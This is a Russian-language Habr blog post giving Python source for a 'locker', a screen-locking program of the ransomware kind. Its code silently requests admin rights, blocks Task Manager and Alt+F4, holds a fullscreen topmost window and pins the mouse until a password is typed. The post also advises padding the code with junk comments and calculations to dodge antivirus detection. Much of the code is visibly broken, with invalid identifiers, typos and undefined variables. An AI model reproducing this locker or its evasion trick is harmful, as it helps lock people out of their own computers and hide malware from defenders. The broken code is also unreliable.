Как стать автором
Поиск
Написать публикацию
Обновить

Работа локера на примере Python

Привет, Хабр! В этой статье мы сделаем рабочий локер на Python. Да, вирус на питоне возможен. Например, мой Avast не смог его распознать, но в VirusTotal распознало 8 антивирусов.

Дисклеймер: я не несу ответственности за ваши действия, статья несёт исключительно ознакомительный характер и не призывает к действиям.

Приступим

Локер - это вид компьютерного вируса, который полностью блокирует доступ к устройству и просит код для разблокировки, который нужно "выкупить", отправив деньги на определенный адрес. Чаще всего это биткоин-кошельки.

Мы же не будем просить деньги, мы это делаем для развлечения и ни в коем случае не распространяем его, тестируем только на своём компьютере.

Для начала нужно установить все необходимые модули

pip install pyautogui
pip install pyqadmin
pip install keyboard
pip install tkinter #иногда встроенно

Далее откроем наш файл main.py и напишем основу кода

import pyautogui, os, sys, pyqadmin, keyboard
from tkinter import Tk, Entry, Label
from tkinter import *
from pyautogui import click, moveTo
from pyqadmin import admin
from time import sleep
import random

class Administr():
  pass

class KeyboardAttribs():
  pass

class Main(Frame):
  pass

class ExitProgram():
  pass

Большая часть кода и интерфейса находится в классе Main(). Но сначала начнём с дополнительных.

class Administr():
  #выдаём администратора без уведомления ламера
  @admin
  def adm():
    req = "AdminRequest('-push', False)"

class KeyboardAttribs():
  #запрещаем alt+f4, открытие диспетчера задач
  keyboard.add_hotkey("ctrl + shift + esc", lambda: None, suppress =True)
  keyboard.add_hotkey("alt + f4", lambda: None, suppress =True)

class ExitProgram(): #этот класс переместите в конец кода
  ex += 0
  while True:
    if ex == 1:
      #выходим если пароль введён правильно (в Main)
      sys.exit()

Ламер не сможет открыть диспетчер задач через ctrl+shift+esc, но сможет через ctrl+alt+delete, это мы потом исправим. Также жертва не сможет закрыть программу через alt+f4.

А вот и главный класс локера. В нём мы создадим интерфейс на весь экран без кнопки закрытия и отображения панели задач/быстрого доступа. Также чтобы исправить проблему с диспетчером задач, это окно будет отображатся поверх всех окон. Чтобы избавиться от нас, жертва должна ввести пароль

class Main(Frame):
	#создаём окно
    root = Tk()
    pyautogui.FAILSAFE = False
    #узнаём разрешение экрана
    width = root.winfo_screenwidth()
    height = root.winfo.screenheight()
    #закрываем кнопку выхода и панель задач, ставим поверх всех окон
    root.attributes("-fullscreen", True, "-topmost", True)
    
    #виджеты, текст
    entry1 = Entry(root, font=1).place(width=150, height=50, x=width/2-75, y=height/2-25)
    label1 = Label(root, text="Ваше устройство заблокировано. Для разблокировки...", font=1)
    label1.place(x=3, y=3)
    label2 = Label(root, text="Введи пароль и нажми Enter", font="Arial 20").place(x=width/2-75-130, y=height/2-25-100)
    
    root.update()
    #с задержкой кликаем в центр
    sleep(0.2)
    click(width/2, height/2)
    m_key = False
    while not m_key:
    	click(width/2, height/2)
        #посстояно двигаем мышь в центр
        moveTo(width/2, height/2)
        root.attributes("-fullscreen", True, "-topmost", True)
        root.protocol("WM_DELETE_WINDOW")
        
        root.update()
        root.bind('<Enter>', callback)

    def callback(event):
    	global k, entry
        #проверяем пароль
        ex = 0
        if entry.get == "ваш_пароль":
        	m_key = True
            ex += 1

    root.title("you locked")
    root.resizable(Fasle, False)
    root.mainloop()

Наш локер готов. Как упоминалось выше, он не понравился 8 антивирусам. Это число можно разделить на два, разбавив хэш ненужными комментариями и вычислениями. Всё просто - перед каждой строкой ставишь много длинных комментариев и вычислений по типу:

25h = 1
25h += 1 + 6 - 12/2
h67 = 25h/2 + 19 * 5
h13 = 25h + h67 * 25h/h67

Однако скрипт будет загружаться дольше, поэтому советую оставить только длинные комментарии.

В завершение...

Не распространяйте вирусы. Я не сеньёр в питоне, поэтому прошу о всех ошибках писать в комментарии. Знаю, статья получилась короткой.

Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.